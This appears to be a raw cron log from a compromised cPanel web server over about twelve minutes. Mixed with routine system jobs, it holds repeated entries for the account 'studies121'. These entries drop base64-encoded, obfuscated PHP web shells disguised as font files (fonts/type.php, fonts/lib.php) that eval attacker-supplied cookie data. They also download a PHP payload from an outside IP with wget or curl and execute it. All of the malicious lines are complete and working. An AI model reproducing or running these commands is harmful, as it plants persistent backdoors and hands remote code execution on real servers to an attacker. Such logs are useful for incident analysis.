Sep 21 19:36:01 ip-184-168-122-23 CROND[4230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:36:01 ip-184-168-122-23 CROND[4229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:36:01 ip-184-168-122-23 CROND[4231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:36:01 ip-184-168-122-23 CROND[4228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:37:01 ip-184-168-122-23 CROND[4310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:37:01 ip-184-168-122-23 CROND[4315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:37:01 ip-184-168-122-23 CROND[4316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:37:01 ip-184-168-122-23 CROND[4318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:38:02 ip-184-168-122-23 CROND[4501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:38:02 ip-184-168-122-23 CROND[4503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:38:02 ip-184-168-122-23 CROND[4505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:38:02 ip-184-168-122-23 CROND[4504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:38:02 ip-184-168-122-23 CROND[4506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:39:01 ip-184-168-122-23 CROND[4618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:39:01 ip-184-168-122-23 CROND[4620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:39:01 ip-184-168-122-23 CROND[4621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:39:01 ip-184-168-122-23 CROND[4623]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 19:39:01 ip-184-168-122-23 CROND[4622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:40:01 ip-184-168-122-23 CROND[4726]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 19:40:01 ip-184-168-122-23 CROND[4729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:40:01 ip-184-168-122-23 CROND[4733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:40:01 ip-184-168-122-23 CROND[4731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:40:01 ip-184-168-122-23 CROND[4735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:40:01 ip-184-168-122-23 CROND[4736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:40:01 ip-184-168-122-23 CROND[4734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:40:01 ip-184-168-122-23 CROND[4737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:41:01 ip-184-168-122-23 CROND[4844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:41:01 ip-184-168-122-23 CROND[4845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:41:01 ip-184-168-122-23 CROND[4846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:41:01 ip-184-168-122-23 CROND[4848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:42:01 ip-184-168-122-23 CROND[4944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:42:01 ip-184-168-122-23 CROND[4948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:42:01 ip-184-168-122-23 CROND[4949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:42:01 ip-184-168-122-23 CROND[4947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:42:01 ip-184-168-122-23 CROND[4946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:43:01 ip-184-168-122-23 CROND[5266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:43:01 ip-184-168-122-23 CROND[5267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:43:01 ip-184-168-122-23 CROND[5271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:43:01 ip-184-168-122-23 CROND[5270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:44:01 ip-184-168-122-23 CROND[5370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:44:01 ip-184-168-122-23 CROND[5371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:44:01 ip-184-168-122-23 CROND[5373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:44:01 ip-184-168-122-23 CROND[5375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:44:01 ip-184-168-122-23 CROND[5376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:45:01 ip-184-168-122-23 CROND[5504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:45:01 ip-184-168-122-23 CROND[5506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:45:01 ip-184-168-122-23 CROND[5508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:45:01 ip-184-168-122-23 CROND[5510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:45:01 ip-184-168-122-23 CROND[5509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:45:01 ip-184-168-122-23 CROND[5507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:46:01 ip-184-168-122-23 CROND[5650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:46:01 ip-184-168-122-23 CROND[5652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:46:01 ip-184-168-122-23 CROND[5656]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 19:46:01 ip-184-168-122-23 CROND[5654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:46:01 ip-184-168-122-23 CROND[5655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:46:01 ip-184-168-122-23 CROND[5657]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 19:46:01 ip-184-168-122-23 CROND[5653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:47:01 ip-184-168-122-23 CROND[5768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:47:01 ip-184-168-122-23 CROND[5770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:47:01 ip-184-168-122-23 CROND[5771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:47:01 ip-184-168-122-23 CROND[5773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:48:01 ip-184-168-122-23 CROND[5975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
